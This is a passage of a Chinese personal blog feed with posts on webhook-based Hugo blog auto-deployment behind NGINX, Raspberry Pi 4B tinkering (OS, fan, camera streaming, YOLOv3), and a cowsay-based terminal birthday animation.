<p>更多安装方式参考 <a href="https://github.com/adnanh/webhook">webhook</a> 的 <a href="https://github.com/adnanh/webhook/blob/master/README.md">README</a>。</p>
<h3 id="service">Service</h3>
<p>使用 APT 安装，会自动把 <a href="https://github.com/adnanh/webhook">webhook</a> 配置成一个 systemd 服务。我在<a href="/posts/03-linux-notes/#%E5%BC%80%E6%9C%BA%E8%87%AA%E5%8A%A8%E8%BF%90%E8%A1%8C%E7%9A%84%E8%84%9A%E6%9C%AC">这里</a>做过一些相关解释。要更改 webhook 的运行指令，需要更改 <code>/lib/systemd/system/webhook.service</code> 这个脚本中的内容。因为只需要更改启动指令，因此只要更改 <code>[Service]</code> 项下的 <code>ExecStart</code> 即可。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-service" data-lang="service"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/bin/webhook -nopanic -hotreload -hooks /etc/hooks.json</span></span></span></code></pre></div><p>相较于默认配置，这里我添加了热加载 <code>-hotreload</code> 选项，并把配置文件位置改成了 <code>/etc/hooks.json</code>。</p>
<p>更多命令行参数的配置，可以参考<a href="https://github.com/adnanh/webhook/blob/master/docs/Webhook-Parameters.md">文档</a>。</p>
<h3 id="hooksjson">hooks.json</h3>
<p>直接编辑 <code>/etc/hooks.json</code> 或者在其他地方编辑后软链接到对应位置。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="nt">&#34;id&#34;</span><span class="p">:</span> <span class="s2">&#34;my-blog-deployment-webhook&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="nt">&#34;execute-command&#34;</span><span class="p">:</span> <span class="s2">&#34;/path/to/your/script/update.sh&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="nt">&#34;command-working-directory&#34;</span><span class="p">:</span> <span class="s2">&#34;/path/to/your/script/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="nt">&#34;response-message&#34;</span><span class="p">:</span> <span class="s2">&#34;Executing deploy script...&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="nt">&#34;trigger-rule&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">      <span class="nt">&#34;and&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">      <span class="p">[</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">          <span class="nt">&#34;match&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">          <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;payload-hash-sha1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">            <span class="nt">&#34;secret&#34;</span><span class="p">:</span> <span class="s2">&#34;&lt;RANDOM-SECRET-STRING&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="nt">&#34;parameter&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">              <span class="nt">&#34;source&#34;</span><span class="p">:</span> <span class="s2">&#34;header&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">              <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;X-Hub-Signature&#34;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">          <span class="nt">&#34;match&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">          <span class="p">{</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;value&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="s2">&#34;refs/heads/master&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="nt">&#34;parameter&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">              <span class="nt">&#34;source&#34;</span><span class="p">:</span> <span class="s2">&#34;payload&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">              <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;ref&#34;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">      <span class="p">]</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="p">]</span></span></span></code></pre></div><p>其中，<code>id</code> 是这个接口的名字，<code>excute-command</code> 是运行部署脚本的指令，<code>command-working-directory</code> 是执行脚本的位置，<code>response-message</code> 是回复 HTTP POST 的消息。最后还需要更改下面的 <code>secret</code> 项，里面要填写一个 <strong>足够长</strong> 且 <strong>足够随机</strong> 的字符串作为密钥。</p>
<p>更多参数配置参考<a href="https://github.com/adnanh/webhook/blob/master/docs/Hook-Definition.md">文档</a>，<a href="https://github.com/adnanh/webhook/blob/master/docs/Hook-Examples.md">示例</a>。</p>
<h3 id="nginx">NGINX</h3>
<p>根据<a href="https://github.com/adnanh/webhook/blob/master/README.md">文档</a>，<a href="https://github.com/adnanh/webhook">webhook</a> 会在 <code>http://0.0.0.0:9000/hooks/{id}</code> 这个接口上监听（按照上面的示例就是 <code>http://0.0.0.0:9000/hooks/my-blog-deployment-webhook</code>）。虽说官方提供了 HTTPS 支持，但是需要另外指定证书，而且还要到控制台安全组放开 9000 端口，就很麻烦，还让人觉着不安全。</p>
<p>既然我们前面已经配好了 NGINX 和 HTTPS，不如就继续用 NGINX 转发请求好了。在 server 块中添加这个 location：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-nginx" data-lang="nginx"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">location</span> <span class="s">/hooks</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="kn">proxy_pass</span> <span class="s">http://127.0.0.1:9000</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>于是就非常轻松的把 <code>/hooks</code> 为开头的 uri 请求转发到了 <a href="https://github.com/adnanh/webhook">webhook</a> 的接口上。这样一来，外网访问就可以直接使用 443 端口的 <code>https://your-domain-name/hooks/{id}</code> 作为 webhook，HTTPS 用的就是之前为域名配置的证书啥也不用改，而服务器内部 NGINX 会把请求再转发到在 9000 端口监听的 <a href="https://github.com/adnanh/webhook">webhook</a>。（反正是内部转发所以用 HTTP 也无所谓）</p>
<p>这里 NGINX 的配置参考了这篇教程：<a href="https://www.runoob.com/note/29162">nginx 关于 uri 的截取</a></p>
<h3 id="部署脚本">部署脚本</h3>
<p>部署脚本本应该很简单，不就是 <code>git pull</code> 一下，然后 <code>hugo</code> 一下完事。不过用了以后发现不是这么回事，<a href="https://github.com/adnanh/webhook">webhook</a> 在调用脚本的时候使用了 root 用户，这使得一切都不一样了。由于使用了 snap 来安装 Hugo，在 root 身份下无法执行 <code>hugo</code> 命令；输出 log 文件的时候，log 文件会是以 root 身份创建的，当回到原本的 ubuntu 身份手动执行脚本的时候就无法写入这个 log 文件了。（手动改文件权限当然可以，但是非常不鲁棒）</p>
<p>另外，在 <code>hook.json</code> 中的 <code>excute-command</code> 里直接重定向输出行不通，需要在脚本里直接搞定。（套两个脚本当然也是可以，但是看着令人不爽）</p>
<p>查阅资料以后我写了如下脚本：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1"># Open a shell with ubuntu as user</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">sudo -i -u ubuntu bash <span class="s">&lt;&lt; EOF
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="s">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="s"># Redirect output
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="s">exec &gt;&gt; /path/to/log/deployment.log
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="s">exec 2&gt;&amp;1
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="s">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="s">echo &#34;=============== Blog deployment ===============&#34;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="s">echo $(date &#34;+%Y-%m-%d %H:%M:%S&#34;) UTC
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="s">echo
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="s">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="s"># Start doing some real stuff
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="s">cd /path/to/hugo/blog/
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="s">git pull origin master
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="s">rm -r public
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="s">rm -r resources
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="s">
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="s">echo
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="s">hugo
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="s">echo
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="s">
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="s">echo &#34;===============================================&#34;
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="s">echo
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="s">
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="s">EOF</span></span></span></code></pre></div><p>这里使用了 <code>sudo -u</code> 和 <a href="https://en.wikipedia.org/wiki/Here_document">Here Document</a> 创建了一个身份为 ubuntu 的 shell，然后在里面执行命令。还使用了 <code>exec &gt;&gt; file</code> 和 <code>exec 2&gt;&amp;1</code> 在文件内实现输出重定向。</p>
<p>参考了以下资料：</p>
<blockquote>
<p><a href="https://stackoverflow.com/a/314678">How do I redirect the output of an entire shell script within the script itself?</a></p>
<p><a href="https://stackoverflow.com/a/24696790">How do I use su to execute the rest of the bash script as that user?</a></p>
<p><a href="https://www.cnblogs.com/bigben0123/archive/2013/05/07/3064843.html">shell脚本中使用其他用户执行脚本</a></p>
</blockquote>
<h3 id="github-webhooks">Github webhooks</h3>
<p>最后就是在 Github repo 里设置对应的 webhook 事件啦。到 Settings -&gt; Webhooks 中新建一个 webhook，<code>Payload URL</code> 就是你定义的接口；<code>Content type</code> 选择 <code>application/json</code>；<code>Secret</code> 填入之前在 <code>hooks.json</code> 中填的那个 <code>secret</code>；<code>SSL verification</code> 自然是选择启用；事件选择仅 push 事件。</p>
<p>设置完成以后，博客的自动化部署就最终配置完成了！</p>
<h2 id="后续">后续</h2>
<p><a href="https://github.com/adnanh/webhook">webhook</a> 是用 Golang 编写的，而 Hugo 也是 Golang 编写的，用过的人都知道速度那是真的快。Hugo 加上一样超快的 <a href="https://github.com/adnanh/webhook">webhook</a>，整个自动化部署的效率真的是巨高。完成全部配置以后，<code>git push</code> 完几秒钟就可以看到服务器端已经完成了建站操作，非常牛逼了。</p>
<p>Nobody：“自动化是解放生产力的必经之路。”</p>
]]></content:encoded>
    </item>
    <item>
      <title>树莓派折腾笔记（一）</title>
      <link>https://sttev.com/posts/27-raspberry-pi-1/</link>
      <pubDate>Mon, 25 Nov 2019 23:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/27-raspberry-pi-1/</guid>
      <description>&lt;h2 id=&#34;intro&#34;&gt;Intro&lt;/h2&gt;&#xA;&lt;p&gt;趁双十一打折入手了一个树莓派 4B。硬件配置：&lt;/p&gt;&#xA;&lt;p&gt;CPU：Broadcom BCM2711，四核 Cortex-A72 1.5GHz&lt;/p&gt;&#xA;&lt;p&gt;RAM：4GB LPDDR4&lt;/p&gt;&#xA;&lt;p&gt;IO： 双频 Wi-Fi、蓝牙 5.0、2 个 Micro HDMI 2.0 接口（4K 60FPS）、满血千兆网口、2 个 USB 3.0、2个 USB 2.0、MIPI DSI 接口、MIPI CSI 相机接口、立体声耳机/视频接口、40 针 GPIO。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="intro">Intro</h2>
<p>趁双十一打折入手了一个树莓派 4B。硬件配置：</p>
<p>CPU：Broadcom BCM2711，四核 Cortex-A72 1.5GHz</p>
<p>RAM：4GB LPDDR4</p>
<p>IO： 双频 Wi-Fi、蓝牙 5.0、2 个 Micro HDMI 2.0 接口（4K 60FPS）、满血千兆网口、2 个 USB 3.0、2个 USB 2.0、MIPI DSI 接口、MIPI CSI 相机接口、立体声耳机/视频接口、40 针 GPIO。</p>
<p>可以说这一代树莓派是超级强大的配置了。一年前的项目 <a href="/posts/05-mi-router-nas/">小米路由器mini 自制NAS</a> 原本由于路由器性能过于低下而最终失败，这次树莓派 4 拥有强大的 CPU，超大内存，还有千兆网口和 USB 3.0，用在这个项目上可以说是完美。不过买一个树莓派光整个 NAS 有点浪费，还是有很多别的可以折腾折腾。</p>
<h2 id="0-系统">0. 系统</h2>
<p>树莓派支持很多操作系统。官方在这儿列出了所有推荐的系统：<a href="https://www.raspberrypi.org/downloads/">https://www.raspberrypi.org/downloads/</a>。对于我这个 Ubuntu 吹来说，首选显然是 Ubuntu Server。（也许有机会会去试一试 Win10 IOT）</p>
<h3 id="ubuntu-server">Ubuntu Server</h3>
<p>安装系统很简单，按照 <a href="https://ubuntu.com/download/raspberry-pi">Ubuntu 官方说明</a> 即可。</p>
<p>但是刷完系统，开机亮屏，等要输密码的时候我傻眼了，我发现键盘完全用不了。换键盘换 USB 口都试了，USB 口有电，但是按键没有反应。搜了一圈，找到了官方这篇博客：<a href="https://ubuntu.com/blog/roadmap-for-official-support-for-the-raspberry-pi-4">https://ubuntu.com/blog/roadmap-for-official-support-for-the-raspberry-pi-4</a>。由于内核的 bug，Ubuntu Server 在树莓派 4B 4GB 内存版本上会出现 USB 不可用的状况（1GB 和 2GB 内存版本不会… 被针对了！！！）。解决方法就是在配置文件里加一条，把内存限制在 3GB……. 服了。</p>
<p>好在这个内核问题现在已经被修复，新的镜像大概不会有这个问题了吧。（如果继续有问题，那就先把内存限制到 3GB，登陆用 apt 更新内核就好。或者直接 SSH 上去更新也行。）</p>
<p>Ubuntu 就是 Ubuntu，用着很舒服。但是出了一个问题，我死也没法让 vncserver 运作起来。让我一直插 micro-HDMI 连显示器我是拒绝的，一是显示器切源麻烦，二是这个口太脆弱怕坏。而用 vncserver 可以很方便的在我的电脑上操作树莓派的图形界面。另外，树莓派一个据说很好用的工具 <code>raspi-config</code> 在 Ubuntu Server 上不存在。缺了这个工具，怎么启用摄像头，怎么启用其他一些连接口，貌似就麻烦了很多。</p>
<p>那么，果断，换系统。</p>
<h3 id="raspbian">Raspbian</h3>
<p>亲儿子到底还是亲儿子，查了一圈觉得官方系统 Raspbian 对于充分发挥树莓派能力更适合。官方镜像页面：<a href="https://www.raspberrypi.org/downloads/raspbian/">https://www.raspberrypi.org/downloads/raspbian/</a>。安装和 Ubuntu Server 没有什么区别，也是直接按照官方教程走就好。</p>
<p>Raspbian 本质上是个魔改版的 Debian，也有 apt 做包管理，所以其实用起来和 Ubuntu 没啥区别。官方预先配置了很多东西，各种配置调整也都超级方便。</p>
<p>下面是几个常见问题的参考：</p>
<ol>
<li>
<p>中文输入法安装 <a href="https://www.raspberrypi.org/forums/viewtopic.php?t=222801">Chinese input method? [solved]</a></p>
</li>
<li>
<p>蓝牙鼠标延迟 <a href="https://www.raspberrypi.org/forums/viewtopic.php?t=84999">Mouse slow and lagging after rpi-update [solved]</a>（不过这个问题我还是没有解决）</p>
</li>
<li>
<p>多桌面启用 <a href="https://www.raspberrypi.org/forums/viewtopic.php?f=66&amp;t=200324">Multiple desktops in current Raspbian GUI?</a></p>
</li>
<li>
<p>查看树莓派硬件信息和引脚定义：<code>pinout</code></p>
</li>
<li>
<p>查看 CPU 温度：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># Method 1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">/opt/vc/bin/vcgencmd measure_temp
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="c1"># Method 2</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">cat /sys/class/thermal/thermal_zone0/temp</span></span></code></pre></div></li>
</ol>
<h2 id="1-风扇">1. 风扇</h2>
<p>买树莓派的时候配了个 5V 的小风扇，一开始觉得很安静，结果夜深人静的时候才发现竟然这么吵。第一反应自然是利用 GPIO 去做自适应风扇调速，但是查了一圈，发现最多的方案就是用杜邦线，面包板和三极管去做调速。</p>
<p>查一下 GPIO 的引脚定义，可以看到右上角引脚 4 和引脚 6 正好是相邻的 5V 和 GND，可以用于驱动风扇。而 3.3V 和 GND 并没有相邻，导致风扇没法直接接到 3.3V。那用 GPIO 口和 GND 口可以吗？查了资料，发现 GPIO 口的驱动电流非常小，带不动风扇。最终我选择去别人那儿嫖了两根杜邦线，把风扇接到了 3.3V，好歹是安静了点。</p>
<p>顺便我还做了下温度的对比，可以总结出以下方案：（均默认已贴好散热片）</p>
<ol>
<li>不插风扇。由于树莓派 4 有了一颗更强大的 CPU，在高负载下温度很容易升到 65+°C（没敢跑到更高），再高可能会导致过热关机甚至损坏。（低负载倒是完全没有问题）</li>
<li>风扇插 5V。高负载也能基本保持在 50°C 之下，但是夜深人静的时候会让人觉得很吵。</li>
<li>使用杜邦线（或者是插口分成两个头的风扇）把风扇接到 3.3V。高负载情况下，温度会比 5V 的时候高 5-10°C，但是基本保持在 60°C 以内。声音显著小于 5V 的时候。</li>
<li>使用三极管调速。尚未实施，难度和复杂度显然高于上述几个方案，但是显然能够平衡三个方案的优缺点。</li>
</ol>
<h2 id="2-网络摄像头">2. 网络摄像头</h2>
<p>买树莓派的时候店家送了个摄像头，可以来好好用一用。至于怎么把摄像头安装到主板上就自行查资料吧，反正就是插个排线的事情。</p>
<p>启用摄像头在 Raspbian 里非常方便，直接在 Preferences -&gt; Raspberry Pi Configuration 里就能直接开启，或者用 raspi-config 在命令行里也可以轻松启用。</p>
<p>最简单的使用方法就是在命令行输入 <code>raspistill -o image.jpg</code> ，然后摄像头就会拍一张照片。另外可以用这个摄像头做网络直播，直接运行以下指令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">raspivid -o - -t <span class="m">0</span> -n -w <span class="m">1920</span> -h <span class="m">1080</span> -fps <span class="m">30</span> <span class="p">|</span> cvlc -vvv stream:///dev/stdin --sout <span class="s1">&#39;#rtp{sdp=rtsp://:8554/}&#39;</span> :demux<span class="o">=</span>h264</span></span></code></pre></div><p>就会在树莓派的 8554 端口以 RTSP 协议直播视频，分辨率为 1080P@30FPS。在同一局域网另一台电脑上使用 vlc 播放器就可以看到了。配置参考：<a href="https://raspberry-projects.com/pi/pi-hardware/raspberry-pi-camera/streaming-video-using-vlc-player">https://raspberry-projects.com/pi/pi-hardware/raspberry-pi-camera/streaming-video-using-vlc-player</a>。</p>
<p>另外也可以用 Python 的 Picamera 模块去调用摄像头，详细参考文档：<a href="https://picamera.readthedocs.io/">https://picamera.readthedocs.io/</a>。</p>
<h2 id="3-视频掉帧">3. 视频掉帧</h2>
<p>提一嘴视频掉帧。</p>
<p>这次树莓派 4B 配了两个支持 4K@60FPS 的 micro-HDMI 接口，意思可以双 4K 显示器。但是视频播放能力呢？我测试了 Bilibili 和 YouTube 两个平台。结果是不论分辨率多低，都会有至少 5-10% 的掉帧率…..</p>
<p>往好处看，1080P 也依旧只有 10% 左右的掉帧（</p>
<p>总之看网络视频就还是用手机吧。不过插硬盘当个家庭影音中心应该还是能行的，不还专门有个叫 <a href="https://libreelec.tv/">LibreELEC</a> 的系统用来做这个的。</p>
<p>进一步查阅资料，发现这其实是软解的锅。树莓派 4 其实有很强的硬解能力，只不过网页视频并不支持罢了。我用 vlc 测试了下本地视频，由于不支持硬解，软解下视频码流超过 1000 kbps 就开始掉帧。如果想要硬解视频，现成的方法是用一个叫做 OMXPlayer 的播放器播放，不过没有任何 GUI，键盘操控也有些问题。或者可以自行编译支持硬解的 ffmpeg，据说编译可能要长达一个小时所以尚未测试。</p>
<h2 id="4-深度学习">4. 深度学习</h2>
<p>“它只是个 SBC，千万不要放过它！”</p>
<p>最近在搞目标识别，店家又正好送了个摄像头，那自然而然想在上面跑个网络啊。以性能著称的目标探测网络里，最出名的应该算是 YOLOv3 了。在 <a href="https://pjreddie.com/darknet/yolo/">YOLOv3 的网站</a> 上，可以看到 Tiny YOLOv3，适用于 “constrained environments”，正适合树莓派了。</p>
<h3 id="darknet"><a href="https://pjreddie.com/darknet/install/">Darknet</a></h3>
<p>原版 Darknet 可以直接参考 <a href="https://pjreddie.com/darknet/install/">官网教程</a> 编译。不过据说使用原版跑 YOLOv3 几乎没有任何性能优化，一帧图像得跑上好几百秒。那么还是找个有优化的好了。</p>
<h3 id="darknet-nnpack"><a href="https://github.com/digitalbrain79/darknet-nnpack/">darknet-nnpack</a></h3>
<p>darknet-nnpack 是一个用 <a href="https://github.com/Maratyszcza/NNPACK">NNPACK</a> 优化过的 Darknet 版本。NNPACK 能够在 ARM 平台上加速神经网络，达到很好的性能。根据 darknet-nnpack 作者的测试，树莓派 4 能够做到 1.4 秒的预测时间。</p>
<p>安装直接参照 <a href="https://github.com/digitalbrain79/darknet-nnpack/">repo 说明</a> 即可。安装完成后调用摄像头实时探测可以采用这篇博客的方法：<a href="https://funofdiy.blogspot.com/2018/08/deep-learning-with-raspberry-pi-real.html">https://funofdiy.blogspot.com/2018/08/deep-learning-with-raspberry-pi-real.html</a>。作者编写了一个<a href="https://github.com/zxzhaixiang/darknet-nnpack/blob/yolov3/rpi_video.py">脚本</a>，能够实现自动拍照然后送进网络做探测。需要注意的是这个脚本需要用 Python2 运行（我 Python3 就是跑不起来），以及第 39 行需要改成 <code>predictions.jpg</code> 才能正常运作。</p>
<p>最后我成功在树莓派上跑起了 tiny YOLOv3。准确度肯定不用说，为了性能肯定是牺牲了很多。性能方面，我并没有能达到原作者声称的 1.4 秒，而是需要平均 2.4 秒的预测时间。不知道哪里出了差错。</p>
<h3 id="下一步">下一步</h3>
<p>能够成功运行 YOLOv3 之后，下一步我想要尝试更快的网络。如何去寻找一些为了 ARM 设备优化的深度学习库呢？很简单，去找手机厂商/互联网厂商做的库。为了在手机端更快运行，他们都会做超级多底层优化，能够实现非常好的性能。如果支持移植到树莓派，那正好就是我们的不二之选。</p>
<p>一番搜索和挑选，我最后选择尝试以下框架：</p>
<ul>
<li><a href="https://github.com/PaddlePaddle/Paddle-Lite-Demo">Paddle Lite</a> (By Baidu)</li>
<li><a href="https://www.tensorflow.org/lite/guide/build_rpi">Tensorflow Lite</a> (By Google)</li>
<li><a href="https://github.com/Tencent/ncnn">ncnn</a> (By Tencent)</li>
<li><a href="https://github.com/XiaoMi/mace">MACE</a> (By Xiaomi)</li>
</ul>
<p>下篇博客继续。</p>
]]></content:encoded>
    </item>
    <item>
      <title>轻松制作简单 Shell 动画</title>
      <link>https://sttev.com/posts/26-simple-terminal-animation/</link>
      <pubDate>Sun, 17 Nov 2019 22:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/26-simple-terminal-animation/</guid>
      <description>&lt;p&gt;&lt;strong&gt;本文基于 &lt;a href=&#34;https://github.com/SteveHawk/Simple-Terminal-Animation/blob/master/LICENSE&#34;&gt;GNU General Public License v3.0 (GPL v3)&lt;/a&gt; 协议公开。&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;代码公开于 &lt;a href=&#34;https://github.com/SteveHawk/Simple-Terminal-Animation&#34;&gt;https://github.com/SteveHawk/Simple-Terminal-Animation&lt;/a&gt;。&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;目标&#34;&gt;目标&lt;/h2&gt;&#xA;&lt;p&gt;这个项目的目的在于使用最基础的命令行工具，包括 &lt;code&gt;cowsay&lt;/code&gt;，&lt;code&gt;lolcat&lt;/code&gt;，&lt;code&gt;toilet&lt;/code&gt; 和 &lt;code&gt;boxes&lt;/code&gt;，来制作一个简单的命令行动画，可以用于庆祝朋友的生日等用途。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><strong>本文基于 <a href="https://github.com/SteveHawk/Simple-Terminal-Animation/blob/master/LICENSE">GNU General Public License v3.0 (GPL v3)</a> 协议公开。</strong></p>
<p><strong>代码公开于 <a href="https://github.com/SteveHawk/Simple-Terminal-Animation">https://github.com/SteveHawk/Simple-Terminal-Animation</a>。</strong></p>
<h2 id="目标">目标</h2>
<p>这个项目的目的在于使用最基础的命令行工具，包括 <code>cowsay</code>，<code>lolcat</code>，<code>toilet</code> 和 <code>boxes</code>，来制作一个简单的命令行动画，可以用于庆祝朋友的生日等用途。</p>
<p>这些工具的使用都非常简单，随便谷歌就可以找到非常多的使用教程，当然你也可以直接使用 <code>man</code> 来查看他们的文档。这么一来，我们就可以忽略太技术性的细节，更多的把时间花到剧情上。</p>
<p>不过话说回来，这种命令行动画的风格未必适合所有人，你得先确认下你的朋友喜欢这种风格。</p>
<h2 id="成果">成果</h2>
<p>代码参见我的 Github repo：<a href="https://github.com/SteveHawk/Simple-Terminal-Animation">https://github.com/SteveHawk/Simple-Terminal-Animation</a> 。</p>
<p>其实整个项目的核心只包含一个文件，即 <code>A_MSTERY_STORY.sh</code>。运行这个脚本，就会在控制台里输出一段基于对话的动画。故事是一只去寻找秘密宝藏的牛，最终找到了一块巨石，上面刻着生日快乐的话。至于这个故事的细节，可以直接阅读代码。由于用的都是非常简单易懂的指令，代码相对还是非常直观可读的。</p>
<h2 id="怎么使用">怎么使用</h2>
<p>怎么用这个动画给朋友一个惊喜？我有两个方案供参考。</p>
<p>一个方法是直接把 <code>A_MYSTERY_STORY.sh</code> 这个文件放到你朋友的电脑里，等着他/她发现。不过要这么做的话，你得确定你朋友的电脑能够正确运行这个脚本。（估计挺难的）</p>
<p>另一个方法是把动画录下来。我选择把动画录成一个 SVG 格式的动画。SVG 格式的优势就是可以非常非常容易的嵌入到网页中，大小小到可以忽略不计，不过会比较吃性能（CPU 和内存消耗都挺大）。当然你也可以选择录制成视频，并用别的方法发给你的朋友。</p>
<p>至于故事的内容，你当然可以选择直接用我现成写好的这个故事，你可以到代码的 351 行把名字改成你朋友的名字。如果你想对我的故事做一些改动甚至重写，也是完全可以的，代码是基于 GPL v3 协议开源的。</p>
<h2 id="依赖">依赖</h2>
<ul>
<li>cowsay</li>
<li>lolcat</li>
<li>toilet</li>
<li>boxes</li>
<li>termtosvg (只有录制 SVG 才需要)</li>
</ul>
<h2 id="文件结构">文件结构</h2>
<p>代码总共有三个部分。</p>
<ol>
<li>一些常用的函数。<code>snc</code> 用于暂停几秒并清空屏幕，<code>bts</code> 用于打印场景切换的动画，<code>clear_stage</code> 是在最开始清空屏幕并且隐藏光标，最后 <code>clean_up</code> 会清空屏幕，并且把光标恢复回来。</li>
<li>场景。我把三个场景以及对应的准备分开写到了六个函数里，这样能够更方便的调试。在场景里基本就是一堆的 <code>cowsay</code>。有时候我会用 <code>toilet</code> 打印一些标题和时间变换，最后会用 <code>boxes</code> 和 <code>lolcat</code> 花里胡哨的打印出那个巨石的内容。</li>
<li>最后是主函数，用来调用所有的场景。</li>
</ol>
<h2 id="如何录制-svg">如何录制 SVG</h2>
<p>在众多命令行录制工具里，我最终选择了 <a href="https://github.com/nbedos/termtosvg">termtosvg</a>。真的是个非常棒的工具。</p>
<p>安装完成以后，可以用这个指令录制：</p>





